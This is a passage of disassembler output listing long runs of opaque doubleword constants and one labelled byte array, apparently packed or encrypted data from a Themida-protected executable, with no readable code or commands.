		dd 0BE5CFAC9h, 630DA20Fh, 726DB79Eh, 6942341Ah,	0D977C1AAh
		dd 65E91613h, 69455790h, 0E3ABC713h, 601E33D8h,	6695B81Ah
		dd 0EC4B3215h, 66223202h, 661120FCh, 0D9773715h, 873BCC44h
		dd 0C280F2F3h, 4F8E9048h, 8FC0313Ah, 66443014h,	27F1B375h
		dd 0E77C1A0Ah, 54B3AFDCh, 822C530Bh, 0EF223210h, 0E11E1619h
		dd 66883219h, 664435FCh, 0C514615h, 4ED7F80Fh, 668839FCh
		dd 0CDE7AC15h, 550C1FE8h, 5D6568BAh, 6356744h, 4F687358h
		dd 3B261679h, 2B71374Dh, 93E81E54h, 7978D1Ah, 66238B44h
		dd 0AE383215h, 6687DB4Ch, 69F63215h, 945C4ADBh,	7EDEB476h
		dd 3BFCD677h, 0C4FB65A7h, 0E768F116h, 131F5EF2h, 295FC558h
		dd 5F6D8946h, 85E33B61h, 37FAB310h, 6F69D5D9h, 0A1C569CAh
		dd 66622035h, 64ECA1Ch,	668838FDh, 2B437115h, 0B13B8ED8h
		dd 8FBCABF5h, 66883210h, 0A86E7633h, 0D92D6838h, 0DF4053E7h
		dd 9977CDEAh, 931DFA3Ch, 5783B79Ch, 0E11E341Ah,	66883218h
		dd 66443AFCh, 8AA96D15h, 0D090709Dh, 0E8875226h, 66443214h
		dd 0E8FE88ECh, 67702BE5h, 69A99390h, 61AD5213h,	18223215h
		dd 4858B2F1h, 69E8DB02h, 66443295h, 7796115h, 394F574h
		dd 668E3D14h, 6443215h,	664B8C73h, 66113AFCh, 92164315h
		dd 0F47DD0FBh, 2648531Ch, 76115AECh, 0E7873215h, 66443213h
		dd 6D8B975h, 0BD795374h, 0EF883219h, 0E14B1619h, 66223209h
		dd 661FDA75h, 3F1A3215h, 95580623h, 8C5217F5h, 0C3289DBDh
		dd 66063D4Fh, 7443215h,	3042327Fh, 6611BC1Ah, 7D73215h
		dd 4539A7EAh, 0E742341Ah, 3125FECEh, 99E9CE60h,	69548F80h
		dd 6636DB13h, 0C42A3215h, 39195508h, 0C647357Ch, 5088138h
		dd 48E210ABh, 8FE8330Ch, 66443219h, 42C37FE6h, 932F9F4Eh
		dd 739EBF2Bh, 664426FCh, 28191915h, 38AFD528h, 42CBB619h
		dd 0E0C0D3B8h, 0A3C45BFh, 0E39853F6h, 6087263Ch, 6645B31Ah
		dd 0EFDA3215h, 6910FF90h, 6684DB13h, 0EBE83215h, 1E0CE239h
		dd 0A7F966CBh, 6A030611h, 85CD6131h, 6626F194h,	0A5903215h
		dd 66883211h, 3A602E92h, 0AB97CDE0h, 8F173D14h,	66883218h
		dd 0E8550489h, 1843BB07h, 0BA24B42Ch, 0BB3DCD61h, 8F423D01h
		dd 6622321Ah, 0D141063Fh, 618F1FB9h, 23FB394h, 306DD2E8h
		dd 0A090D49Ch, 66883211h, 6640DC94h, 52A53215h,	5A986E31h
		dd 6687DB31h, 0DDEB3215h, 70C37DF6h, 52A7AA84h,	6B911089h
		dd 7F1CD13h, 69243D26h,	66112393h, 61615215h, 80443215h
		dd 0ED850DD6h, 0A4914C81h, 0E30553C5h, 6051FEF8h, 66223DFCh
		dd 1A0C9B15h, 932DF7F4h, 14ED9E6h, 0EE2EB011h, 0E71EE2EAh
		dd 66883214h, 3C933E0h,	8F243D14h, 66113206h, 3855A340h
		dd 67872284h, 6236310Eh, 5F29524Ch, 0ED024F7Dh,	6945FFA8h
		dd 83A25213h, 659A3DC7h, 0E6883215h, 0ED25AED0h, 6936EFA0h
		dd 0C2E2CE13h, 668822FCh, 0CEFB7215h, 19A2383Fh, 600567E6h
		dd 12857561h, 0D7F1B9D1h, 9E243D26h, 0EC1EC7B8h, 66883214h
		dd 952C62EDh, 3E458E58h, 1D8C8847h, 91CA5A35h, 0FEB6B3CFh
		dd 2C677574h, 0B816C094h, 0B6B98953h, 65ACF34Fh, 0AA6CF338h
		dd 9A57BB14h, 6699DB4Dh, 0D9F93215h, 0FE26471Ah, 0B66E95A6h
		dd 8D35D20Eh, 0A7BF2C79h, 72CB37D5h, 0FC113215h, 95BC9959h
		dd 0BCDA2DEDh, 0C4CAED79h, 11DB0729h, 310C2D2Bh, 0D0FEF3AAh
		dd 5208373Ah, 9E1025F3h, 80BC1838h, 0E94B6D02h,	66223214h
		dd 0E312CBEDh, 60871990h, 0ABC9B9ECh, 8F243D14h, 66113210h
		dd 5014BAC3h, 0DC16CB04h, 66223215h, 28BEF094h,	0A48966DFh
		dd 28EBD894h, 6CAB66DFh, 69ED524Fh, 66883098h, 7BEB815h
		dd 67AB3DB8h, 9E113215h, 66888F40h, 8CD3215h, 420EB9E9h
		dd 6615F694h, 6F613215h, 2A443215h, 0F44B3278h,	7A25044Ch
		dd 0D73DBBE9h, 8F423D26h, 66223201h, 198F9832h,	0F4339254h
		dd 5FEA8096h, 0F675E5C3h, 71805D8Dh, 668838FCh,	3A6EF015h
		dd 0CBE4BB24h, 0E594DBAEh, 0E387CDEDh, 6644327Dh, 0E6CCB875h
		dd 0E77035DAh, 0BB55EF2Bh, 33C13DC8h, 93223215h, 0EF15DE96h
		dd 66301611h, 0EF443215h, 0EE2D6A13h, 6611321Bh, 660C3D75h
		dd 69443215h, 66223298h, 96795315h, 0EF88324Ch,	62FB1629h
		dd 67223215h, 93716DEBh, 0D301CA74h, 604B01A4h,	662EB01Ah
		dd 0E21E3215h, 66883213h, 6644BB1Ah, 66CB3215h,	9FEECDC7h
		dd 8F8BF2D4h, 66443207h, 957202E9h, 0F1D0BC1h, 0BAEEB133h
		dd 80AACAh, 0E3214E0Ah,	601E1990h, 668DDA75h, 0FEEF3215h
		dd 37F0D6D5h, 0E570684Dh, 699E0BA8h, 0E24B3313h, 6622310Eh
		dd 6601BF1Ah, 6D613215h, 3443215h, 1493567Ah, 18EAC7A8h
		dd 58090106h, 0CCEE98BFh, 66A1B71Ah, 61F83215h,	7C883215h
		dd 73DEA67h, 0DF73F95Bh, 66113211h, 6A03FC14h, 6280B331h
		dd 8F223215h, 66113218h, 16190CA4h, 43AFA633h, 0C125BF7Ch
		dd 66A86356h, 0EF883215h, 6ACFCE5Bh, 62E6B331h,	9F113215h
		dd 0A1B9CA24h, 76ADCA24h, 82223215h, 4891F7Ah, 7E4E8871h
		dd 9074FB6h, 356C84C7h,	0A9EF10A2h, 9108D5C5h, 0EDBCBABEh
		dd 0A2A31609h, 66113211h
		dd 66DBDBECh, 9A243215h, 6620B11Ah, 0AD9B3215h,	0EDDF6274h
		dd 0A2C51611h, 66223211h, 71943D4Ah, 8F883215h,	66443207h
		dd 84189445h, 2624A098h, 2355DC5Ch, 3EBE04F2h, 8AA37BABh
		dd 66113217h, 429CBB73h, 0B6CCDAA7h, 0E52D6873h, 6611321Ch
		dd 0A1373D75h, 0AC1D8C73h, 87AB6374h, 6615F394h, 8F093215h
		dd 66443211h, 3A063E92h, 635369Ch, 779B973h, 772D8F96h
		dd 6923341Ah, 66107291h, 0DDDBCE15h, 4C30432Eh,	0E720D9D4h
		dd 0D76B94F6h, 7E63B30Fh, 0E72EA050h, 0F16CC5DEh, 99FAB347h
		dd 0EF57CDC8h, 0E5BD69CDh, 70864EA8h, 0E21E3213h, 6688324Ch
		dd 665CBE1Ah, 75CB3215h, 39113215h, 4D1B3AD9h, 8C1E9FAAh
		dd 7D0504DFh, 862331ECh, 0FB05DB7Fh, 6051D35Ah,	3A5B8B75h
		dd 0EC1E37B1h, 66883213h, 6644BF1Ah, 99433215h,	0D11E52C6h
		dd 669CDAC2h, 7AA83215h, 5766315Eh, 0B96152F4h,	0FA2ABAD9h
		dd 1D383D45h, 38DA9EC4h, 0F62EB274h, 66B7B61Ah,	36B13215h
		dd 662237ADh, 14D6B315h, 67A73233h, 14ABB3D2h, 3E0D3233h
		dd 6600DB75h, 582F3215h, 0A4A772DAh, 89DB9DFDh,	4A73620Ch
		dd 6FBE84Ah, 3C43F094h,	0BCA265F8h, 8F70531Fh, 66883326h
		dd 36BCB1ECh, 6641B01Ah, 69713215h, 0B208C3A2h,	8DF453D2h
		dd 0BD0E3311h, 0D740CF39h, 3F401A91h, 6645BA1Ah, 0CCD73215h
		dd 4215B9EDh, 6368BB45h, 66443211h, 66223610h, 4215B515h
		dd 6687DB49h, 0C5243215h, 21D24490h, 0D7504CACh, 845B0BB0h
		dd 0EC249879h, 0F7CB53C9h, 69113215h, 66883E98h, 60CD3D15h
		dd 69223215h, 6611329Eh, 42BCCD15h, 6280B34Dh, 9A223215h
		dd 6618DBBFh, 97B33215h, 0ACBD5275h, 8F422C76h,	66113213h
		dd 73C13B89h, 19C4366Ch, 0E32DDBEAh, 66113245h,	3F706575h
		dd 3D255244h, 1A9FB174h, 661724B1h, 66A2B61Ah, 77AD3215h
		dd 0BE223215h, 5DEDBC66h, 8AAB355Ch, 71EE9455h,	0B78E69D0h
		dd 865AAF98h, 0E83400h,	0ED22C89Eh, 0B5DD53C2h,	7D88475h
		dd 62366447h, 0EF443215h, 9C236CE7h, 9F4B309Dh,	6745B79Eh
		dd 30B8341Ah, 0F43E88ABh, 99E7B32Fh, 4FCE8D04h,	9E6D6CE5h
		dd 4B2F7710h, 0DC43CA69h, 66883211h, 0E84A3838h, 63F21B4Bh
		dd 389F3C1Fh, 623CB4Fh,	59CD8873h, 66223BFCh, 2CFC7515h
		dd 0E69B7754h, 0CB25C4FBh, 0E73C7ECh, 66113215h, 9AC6BB4Ch
		dd 67C83D4Ch, 9A223215h, 99EAC2FCh, 690D3DEAh, 8F443215h
		dd 6622321Fh, 337E8E4Eh, 8AE5B2BDh, 0E84BBEFFh,	66223234h
		dd 6605DB75h, 1B763215h, 1ABEA065h, 8154A021h, 5C36ED84h
		dd 0A2A7E67Ch, 0E74B82CAh, 66223215h, 0D7A4BB74h, 68E3D26h
		dd 664435FDh, 6F97A115h, 0C624C045h, 3D7FB973h,	664435FDh
		dd 0C6DF9615h, 23A16732h, 668837FCh, 77A95E15h,	7792A4Eh
		dd 66309A7Dh, 429CBB15h, 662CCEEDh, 6223295h, 0A990CC9Eh
		dd 54C47CAAh, 9F445874h, 574B87EAh, 0D671341Ah,	75616405h
		dd 0F0443215h, 0FC287693h, 6A3670Ch, 4EA15CCEh,	17B1A107h
		dd 77DB83Dh, 4EECA7EAh,	9974341Ah, 0E71E1621h, 662236D1h
		dd 0A7915215h, 0D9EE6450h, 71E5851h, 7A8BBF9Eh,	8F71341Ah
		dd 66883201h, 0DAFAE797h, 0E8EE7775h, 859A2B2h,	5B1EB52Dh
		dd 9B8F95EAh, 7DB8D1Ah,	66113BFCh, 35DF6215h, 53EFA966h
		dd 317497FAh, 7C6DC7AAh, 0CC028C21h, 98457061h,	65CCB34Ah
		dd 0A754D73Dh, 900930FBh, 6A6E4DCAh, 8F7C039Ch,	6611321Dh
		dd 9170295Dh, 6A264238h, 662239FCh, 0BFB7D15h, 382DB6ABh
		dd 5802FBBCh, 66268A45h, 0A7103215h, 0E7AC369Eh, 664436D1h
		dd 7CAA3D15h, 6113215h,	776115A0h, 0EE443215h, 0FB445087h
		dd 38FC01C1h, 0F24A25F4h, 4EE9C7C2h, 0CFAFBB74h, 6173D09h
		dd 98AB8C73h, 66C43D75h, 69223215h, 770CCA2h, 994D5CFCh
		dd 69B152EAh, 8F43FBA2h, 66111BF0h, 63063D75h, 443215h
		dd 2DDE394h, 9E71CA74h,	7A21BF9Eh, 6CAD341Ah, 0FD223215h
		dd 0DCF3BBE0h, 0F20E641h, 66FF619Fh, 67223215h,	0E722CDDEh
		dd 2D581639h, 0E71D20CDh, 0BE69E2D4h, 8F716907h, 6688321Dh
		dd 0EC78FB1Ah, 9283144h, 6613B91Ah, 3FD93215h, 1EC9BB74h
		dd 932424B1h, 325F0A94h, 0E3877E51h, 6644326Dh,	6623B91Ah
		dd 0E43215h, 2A8C4A94h,	3C13D3Bh, 6223215h, 58C0B373h
		dd 9009547Bh, 36257971h, 53D8F40h, 0A100DE6h, 38D53631h
		dd 55BDC94h, 0EB2D0DE6h, 66113214h, 3455AE9h, 5ACD3215h
		dd 66248D31h, 98103215h, 0E303CA4Ah, 604B232Ch,	6627DB75h
		dd 0A03215h, 69A6F937h,	6644319Ch, 0B59D3D15h, 57F8C774h
		dd 69883210h, 6644359Ch, 7425215h, 7CE851Ah, 42BCB945h
		dd 6640F694h, 0EB2D3215h, 66113204h, 66883EFCh,	0AE825815h
		dd 0B8A8A12h, 0F9765951h, 6264B151h, 3C60369Ch,	6632B81Ah
		dd 6DF83215h, 6F883215h, 91538EB6h, 34995247h, 0E01E7729h
		dd 6688321Bh, 3E9DB375h, 690F7865h, 66113294h, 0AFB95315h
		dd 5AB19EE9h, 17A63D15h, 9F113214h, 0E2871F29h,	99BBCDF8h
		dd 6631B01Ah, 68F83215h, 0CF883215h, 95999637h,	0A66A2A6h
		dd 0FA9D5EB4h, 720D3D0Fh, 69443215h, 66223C9Eh,	6618DB15h
		dd 0EA233215h, 47593E98h, 5AA91474h, 0A1953D3Bh, 6883215h
		dd 3CB3B946h, 69120E74h, 66141C97h, 8C085215h, 64C93DD7h
		dd 6223215h, 5F2D5374h,	9907B41Ah, 69B1CDEAh, 6622399Dh
		dd 6617DB15h, 810A3215h, 0BDDDF428h, 0E42D7329h, 661136EAh
		dd 69D20EECh, 99BB5E93h, 62A23DEAh, 6113215h, 5AE95375h
		dd 3CC03D4Ah, 8FDDCDEAh, 66113204h, 7D25143Eh, 68D99FAh
		dd 791F449Dh, 38065F98h, 69E90E3Eh, 6640F497h, 662CDB15h
		dd 0D9D13215h, 9EA7EA3Dh, 0B1F77A0Eh, 9126C89Fh, 0E01E4829h
		dd 9977CD34h, 664CB11Ah, 0E82D3215h, 66113217h,	0E0875375h
		dd 66443209h, 6631DB75h, 15363215h, 32A4C35Ah, 82634B23h
		dd 86BE60CEh, 7EADA421h, 7D663DCh, 664044FCh, 0DF73CB15h
		dd 66113214h, 6D1F814h,	7B2851Ah, 0E22DC02Ch, 6611364Ah
		dd 6689B51Ah, 33BD3215h, 540FADA8h, 8BD07778h, 0A565B316h
		dd 0E768054Eh, 5058A1D0h, 33FCB32Dh, 0E7B4BD39h, 8F83E2E0h
		dd 3BC83337h, 99AC67E0h, 4F77CDEAh, 8FBC6FFCh, 99DDCC8Ch
		dd 629D3D75h, 883215h, 69285FACh, 66223097h, 7C1B915h
		dd 0E287FB90h, 66443612h, 69DBB975h, 66113797h,	0B8095415h
		dd 0EB252DDAh, 690617A0h, 661FDB13h, 0B9573215h, 1B9075B0h
		dd 0F2E575CBh, 0FAE5660Fh, 315FBB42h, 6BD6D4Ch,	662235FDh
		dd 0EB59F715h, 0B6FA3065h, 8F1FFC9Fh, 66223205h, 50D2BDD3h
		dd 3DCEBEFBh, 0A7DA8642h, 0AED38177h, 0DE416074h, 7FF336AFh
		dd 6260763Ch, 0A1A36D4Dh, 7F6A36AFh, 6682BB1Ah,	69243215h
		dd 0E744CAA2h, 7DE24CEh, 483E6046h, 0EE1EC59Dh,	0C8DE69EDh
		dd 8FE4CF60h, 66883205h, 57070D2Ah, 41413BB3h, 48BAACABh
		dd 718BBE34h, 0AE85B3EDh, 4F4A1F1Bh, 0C8AB60ECh, 0A7DE2441h
		dd 0A4C534FFh, 0F68763h, 64BE33Ch, 66E053ECh, 4F443215h
		dd 6AA91619h, 62D5B131h, 6684BB1Ah, 69243215h, 66223297h
		dd 0A4AA5415h, 0A1095335h, 0CD54308h, 0DC70FD3Ch, 0C804308h
		dd 6D2E53Ch, 6FF28B73h,	0DB91E994h, 0E77079ACh,	668836F9h
		dd 4278BB15h, 697C6D43h, 66113390h, 0C27BC715h,	6643BC1Ah
		dd 423215h, 771F19Eh
		dd 99CFF474h, 990BB2DCh, 997DC401h, 36EE65E3h, 9977CDADh
		dd 0E6BC33EAh, 8F7AEE25h, 66113204h, 777BC98Dh,	0C5A3F34h
		dd 31593812h, 1E89C141h, 431DBF0Dh, 9F423D31h, 7C73B79Eh
		dd 0E21E341Ah, 66883214h, 6984B7ECh, 66225590h,	0E3D7C715h
		dd 608716E8h, 0B42CCB52h, 6F6A8B2h, 61E5ED94h, 0EA874D3Dh
		dd 66443211h, 8A2B8C73h, 0C7A4CD74h, 698E3D39h,	66443C9Ah
		dd 662BDB15h, 0AA003215h, 94C7ACAFh, 0EB1889BFh, 7450D590h
		dd 6D9B3D13h, 8F883215h, 66443213h, 0CB6F552Ch,	0B6EEE925h
		dd 8E218175h, 66443212h, 8132873Dh, 0E650344Eh,	7D6F9DBh
		dd 0E7A2BB43h, 662236D3h, 62FFB115h, 3AAC0692h,	8F60269Ch
		dd 66223212h, 0C0A4BCDFh, 6945D760h, 66443B9Eh,	0D9445215h
		dd 0A791960Bh, 0B6775371h, 664EB11Ah, 423215h, 5C63E194h
		dd 7EAD595h, 0E34BF290h, 6622332Dh, 69358575h, 69E9C8AAh
		dd 66442890h, 72A23D15h, 8F113215h, 6688321Ah, 0C64554CBh
		dd 3CBA476Eh, 1AD62DE2h, 0EDAF72E6h, 6967BB90h,	309A5213h
		dd 6840Ch, 7ED75AFh, 0E34BF290h, 662232ACh, 661120FCh
		dd 21EA3F15h, 80C7944Eh, 75D46A17h, 7AC51A5Eh, 0A0736D86h
		dd 6960CF90h, 0EC2D7E13h, 6611320Bh, 82325475h,	6657DBC5h
		dd 0B52C3215h, 9E87EADCh, 57D59FBDh, 37A890ADh,	0D9844D98h
		dd 8F7953ABh, 8F51E809h, 66443204h, 0CA7D9C15h,	0BEB7FC00h
		dd 3C88DA58h, 5E52D41Ah, 68CB520Ah, 4113215h, 17A34FEEh
		dd 70963D13h, 2D644E19h, 7CEB908h, 4A2987EAh, 68AD341Ah
		dd 0A8223215h, 0B2370217h, 7D76E757h, 43043313h, 81A7BF05h
		dd 69172067h, 66883393h, 0B6BBCB15h, 6625BC1Ah,	0E51E3215h
		dd 66883214h, 6CCB3DECh, 6223215h, 0E41EF5A2h, 66883215h
		dd 56A05A74h, 72AB3215h, 0E61ECE31h, 66883214h,	6994CDE9h
		dd 66222092h, 661CDB15h, 0EC343215h, 0A8A37FC4h, 391F04F5h
		dd 0E3DD8C70h, 6B0D3DD5h, 6443215h, 66E3DB74h, 713215h
		dd 7E17AABh, 0C23CB79Ch, 8F423403h, 6611321Ah, 85C0D9ACh
		dd 3180555Fh, 0DD8B2242h, 0E6167100h, 0EE9A5DAh, 66443655h
		dd 9A06369Ch, 0E7F3BB47h, 668836D7h, 62AEB115h,	3A062692h
		dd 6935069Ch, 66883E97h, 60CC3D15h, 69223215h, 66113290h
		dd 0BE035215h, 6656B31Ah, 6BCB3215h, 0D1113215h, 3785E011h
		dd 5F8A4C09h, 0A17C29A3h, 9894BF74h, 698E2080h,	66443E9Ch
		dd 60A53D15h, 69113215h, 66883293h, 694CD15h, 6629DB74h
		dd 52303215h, 0C4ADE834h, 0E8D71C2h, 69E23938h,	66113F90h
		dd 7E61CA15h, 6443215h,	0EDD8B973h, 229853E2h, 6E612E31h
		dd 18443215h, 977C68Eh,	7466201h, 66883CFCh, 0A5893815h
		dd 25542479h, 0D9104D4Bh, 0A5F49636h, 6643B51Ah, 0ED423215h
		dd 0B89A54EEh, 6E0F3D74h, 69443215h, 66223098h,	6705215h
		dd 66883CFCh, 8FBDA315h, 0C59CC0EEh, 0ACD9811Eh, 0ED7ADD79h
		dd 70E04A98h, 6629DB13h, 0CB8B3215h, 83C7B512h,	0E96BD70Ah
		dd 514AC787h, 0EF113201h, 31701611h, 0EF11FD9Ch, 3BCABBE8h
		dd 0D11E524Ah, 34E9CACCh, 66440E7Dh, 0A4236815h, 694B3016h
		dd 66882A9Fh, 6657DB15h, 3BEB3215h, 0CBADD320h,	398C10DCh
		dd 44BAF837h, 0BA1403A6h, 62A65ADAh, 7A013215h,	66CC8931h
		dd 0A5233215h, 694A219Eh, 66883891h, 90C55215h,	689FA5FBh
		dd 0EF706C46h, 69855F80h, 0D913CB13h, 67F07FA1h, 3B1CC594h
		dd 0DFD9305Bh, 1086345Eh, 217BFD24h, 215BFD94h,	890931ACh
		dd 11BB6516h, 9F7DCA14h, 0E71D42EAh, 290B1621h,	361E373Bh
		dd 486DB1ADh, 3ED30310h, 668826FCh, 0CDB60415h,	0F09AF777h
		dd 7137F78Dh, 9A2C91A4h, 0DB6C47Ch, 3B7BBD0h, 6173D1Fh
		dd 668EBE1Ah, 0BCC53215h, 77DF0AFEh, 661137FCh,	3799F115h
		dd 0ED25222Dh, 0EF751611h, 62D6B3F2h, 0E5883215h, 5AC336D2h
		dd 6DA6E31h, 0E81ECB75h, 66883215h, 9925CB74h, 0ED061661h
		dd 0A2921611h, 28A5CA11h, 4F4ABB27h, 289C64DDh,	671FBB27h
		dd 6E86CE5h, 66443AFCh,	106E6515h, 0A5CDB8FCh, 740B978h
		dd 3C10974h, 69243D1Fh,	66115297h, 0E6875215h, 6644321Fh
		dd 662237FCh, 3C7C3C15h, 0D187363Fh, 0E37F53CDh, 602D3F78h
		dd 662EB11Ah, 0E1873215h, 6644320Dh, 662221FCh,	84757815h
		dd 6A499292h, 0E7478484h, 86DD9270h, 412B1F64h,	0A0095274h
		dd 8DEEEDFh, 44C9B373h,	62D353B4h, 6683DB15h, 3B183215h
		dd 92DC767Fh, 0DAC90D9Bh, 6C6153EFh, 9A443215h,	9365DE6Dh
		dd 18A29388h, 428CF58Eh, 4A5F7572h, 0DD060694h,	0A70A4D47h
		dd 0E78F1639h, 67F91631h, 4AE3256Ah, 62923431h,	6209CD31h
		dd 980C3331h, 0ED4452EAh, 7EAB9EFh, 40308B44h, 2ACD0395h
		dd 0E77B3A31h, 64151671h, 99BF406Eh, 0A7401651h, 63261679h
		dd 62357694h, 98FFCCE5h, 0D94BC775h, 0D97553DDh, 719B01F6h
		dd 9109EDE2h, 8E31FE0Dh, 5AA9CA9Ch, 62D5B331h, 8F883215h
		dd 66443201h, 9E624C43h, 0CFF9EB7h, 380474A2h, 223B49A7h
		dd 0EE5CFC68h, 2AB6BF98h, 9970341Ah, 9A24CAF4h,	66228946h
		dd 0A5903215h, 43471A58h, 8DC5C114h, 43ED1A58h,	694A319Fh
		dd 66882494h, 6655DB15h, 472C3215h, 43C33E79h, 0BA37A6BFh
		dd 0FBD5A7F3h, 5AF797F0h, 5F953DFCh, 69883214h,	66443393h
		dd 8E1EC715h, 676AB61Ah, 68613215h, 45443215h, 520BD0ABh
		dd 7AA0943Ch, 0BE68E2CBh, 694B0E62h, 66227291h,	61983D15h
		dd 69883215h, 66443392h, 0AB1ECE15h, 67BBB61Ah,	5A7D3215h
		dd 99C03DFEh, 6223214h,	0F72211AAh, 20BC8D2Fh, 7250F78h
		dd 6623BD1Ah, 0A5E83215h, 668FBF1Ah, 0E54B3215h, 66223214h
		dd 67A962EDh, 63883215h, 10F45448h, 3B0FC214h, 0EC678273h
		dd 6F616A0Dh, 1E443215h, 0AAB52651h, 0E3267455h, 46788047h
		dd 4250B9C6h, 626F696h,	750EC494h, 77D7EEEh, 69C4C995h
		dd 99DD9890h, 6616DBEAh, 25D33215h, 0DB1864B8h,	7AA9641Ah
		dd 62D5B131h, 668821FCh, 235A1C15h, 0F2C4CFAFh,	0A1A85C3Eh
		dd 455BDA73h, 43EC92CDh, 66248A45h, 0A5103215h,	0E5AC369Eh
		dd 8F2436D1h, 66223201h, 0FE8024F4h, 441406A3h,	0F5423F0Ch
		dd 0C9F2017Ch, 0B6E2BEE4h, 96B8D73h, 62A8B174h,	0DE06369Ch
		dd 66113217h, 7E8BC214h, 6DCB3D4Dh, 6223215h, 0B9ED394h
		dd 0A70824C1h, 0C2AD53D8h, 69223215h, 66113994h, 668EDB15h
		dd 10C03215h, 0C43B33C4h, 0E71044EAh, 3CE81621h, 7ACF5CCFh
		dd 62E6B131h, 3C71C194h, 0E9875CCFh, 66443214h,	6631DBE9h
		dd 7EF43215h, 0F94FAA6Dh, 1BBBE1F1h, 64A26512h,	557F37F7h
		dd 9D73B17Ah, 66B2B61Ah, 423215h, 0F2FAF194h, 668EBC1Ah
		dd 0E34B3215h, 66223215h, 91986574h, 0EF70BB45h, 61B6AD6h
		dd 7DEDC9Fh, 66231F7Dh,	4284BB15h, 664433ACh, 65D33315h
		dd 8F716B0Ch, 66883210h, 239B855h, 334A53DAh, 0EF113266h
		dd 63351639h, 67443215h, 36426FFEh, 8F7069ECh, 9977CC96h
		dd 77C03DE9h, 8F223215h, 66113219h, 8F839310h, 7826720h
		dd 0BAB51608h, 674F841Ah, 669ADB75h, 0B1EF3215h, 0C147FCC7h
		dd 6FCC7864h, 16B1C2DDh, 0E5D250Bh, 6624BD1Ah, 0BE903215h
		dd 74520A6Ch, 48AFB174h, 981BB61Ah, 0ED71CDEAh,	6699DBEEh
		dd 0AF753215h, 897E7AABh, 997DC837h, 0AB5014C9h, 70CD40Ch
		dd 662201FCh, 6619DB15h
		dd 0D3683215h, 0EC87314Dh, 18A21E6Bh, 0E31ECC14h, 9977CC16h
		dd 664CB91Ah, 69423215h, 9091ECA2h, 69E8536Fh, 66443692h
		dd 0F69C5415h, 7EBB91Ch, 99749EFCh, 6643DBEAh, 9CD73215h
		dd 24681970h
		db 0DDh
byte_5CBC51	db 61h,	1, 85h		; DATA XREF: Themida_:00552AA6o
					; Themida_:00552AAAo
		dd 6640F194h, 8DA13215h, 420DB511h, 42BCBB49h, 664439FCh
		dd 0E4712A15h, 0A9ED1004h, 2DC8952Bh, 75AD6175h, 0A7223215h
		dd 0AEE08177h, 0EC5D045Dh, 83BBB9E5h, 664D33DAh, 497CCEh
		dd 0EE9C29Eh, 66442416h, 69063E9Ch, 66113F90h, 6680DB15h
		dd 3C123215h, 0C2FFB590h, 0EF46F893h, 624FB3F2h, 0E5443215h
		dd 5AA536FAh, 7A986E31h, 0EFDBC731h, 6287B3F6h,	0E5223215h
		dd 7A9636FEh, 5A016E31h, 67CA3D31h, 9A223215h, 0E61EF224h
		dd 66883204h, 66443EFCh, 0A5875115h, 201891D1h,	973C826Bh
		dd 37BD9E9Eh, 0EEE0BA47h, 0AD9968C4h, 610E3D4Ch, 69443215h
		dd 66223398h, 74F8CB15h, 81883215h, 0C6DD8F7Bh,	1C6F50F6h
		dd 267994CBh, 0EC6F3B57h, 96F6607Fh, 72A9E135h,	62D5B331h
		dd 6883215h, 97CF5475h,	876AC294h, 69705D29h, 66883495h
		dd 66C33D15h, 7223215h,	6961C995h, 668D5491h, 6649DB15h
		dd 144A3215h, 0EB490D1Bh, 0FDF7AA95h, 5A7EDAD2h, 8FA63D1Ah
		dd 69113215h, 6688319Dh, 7B15215h, 0E22DDB29h, 66113934h
		dd 695EB975h, 6644389Bh, 6627DB15h, 0A6753215h,	7ECE625h
		dd 0E24BD929h, 66223CDCh, 661123FCh, 0B2103D15h, 0F76FEF59h
		dd 2CC57BCEh, 0AC835266h, 85B4EC5Bh, 656BB61Ah,	5ADE3215h
		dd 49953DF7h, 8F883205h, 66443219h, 321B7E65h, 942D63B8h
		dd 0D646051Ch, 34600E9Eh, 0A4A3D09Ch, 66113211h, 668CF094h
		dd 72C33215h, 69426E31h, 6611379Bh, 0AA278A15h,	7BD2568h
		dd 33062E9Eh, 0A390D79Ch, 66883211h, 6640F794h,	4AA53215h
		dd 0EDE46E31h, 0EFD91619h, 6285B3F4h, 0E7223215h, 661136D4h
		dd 4284B515h, 52CFCB49h, 85AB6131h, 6615F194h, 0A5093215h
		dd 66443211h, 3A062E92h, 66113EFCh, 14CC9C15h, 0CB0769C7h
		dd 699F6E43h, 71F196h, 698EF0AEh, 9325C5A2h, 0C36AB7D2h
		dd 66173403h, 0E8873215h, 66443214h, 7EA73DECh,	8F113215h
		dd 66883206h, 9B5C62DAh, 9ED40D99h, 4E391D1Dh, 0CB30003Eh
		dd 36E56C38h, 662232ADh, 0ECE13315h, 428CB90Dh,	9A40F696h
		dd 6626DE94h, 62983215h, 98648631h, 9890C4D9h, 0E6FEC4D1h
		dd 853137D1h, 0EDE8C74Dh, 0E625CAEEh, 0E32DB2EEh, 99EECD01h
		dd 6689B81Ah, 69BD3215h, 66223395h, 0E147CE15h,	0E1C21601h
		dd 931A1601h, 7877B79Eh, 0E31E341Ah, 66883214h,	0C3D1B9E9h
		dd 9F243D33h, 6615DE94h, 52013215h, 4240B331h, 77471565h
		dd 16FAB34Eh, 69995732h, 66443993h, 0E22D5215h,	66113215h
		dd 74F851Ah, 0EF40DE96h, 609D1629h, 67113215h, 34716DEEh
		dd 664430AFh, 65D03315h, 4205B90Fh, 9A8CF696h, 664438FCh
		dd 0A6BF8815h, 0E842F6E6h, 5D6B6E89h, 46C63DCDh, 69223215h
		dd 66113396h, 0BCB3C715h, 983EB41Ah, 6ACBCDEAh,	0E7113215h
		dd 6488624h, 0DC3D410Ch, 333F19ACh, 8179E0A8h, 4C4DB376h
		dd 9152AB31h, 8FD7B3C8h, 0E73BF51Fh, 0F5B7D0F8h, 3BAF3341h
		dd 8DA3C93Ch, 3D34081Eh, 668837FCh, 0D36FE315h,	0E72DC3A4h
		dd 66113205h, 668839FCh, 939C0C15h, 627A92BDh, 0CEBFA1C8h
		dd 99336143h, 25775A17h, 85E3D1C4h, 2DDAB312h, 0E7AE8129h
		dd 0D57877FEh, 3DFCBB7Bh, 64FC13Ch, 668BB91Ah, 0ED223215h
		dd 0A0A354C5h, 705274h,	0E7EE52B8h, 8F72CAF3h, 6622321Ah
		dd 47F0B219h, 265AFB68h, 629F7419h, 76ACAA3h, 68F89973h
		dd 1C883215h, 84AC2DA7h, 0BE76B36h, 5D28CF0Ah, 57500341h
		dd 9E9C03D6h, 67AE3DBEh, 9E113215h, 668C8847h, 0A0C53215h
		dd 31C664E4h, 8890E414h, 316C64E4h, 61C63D4Fh, 69223215h
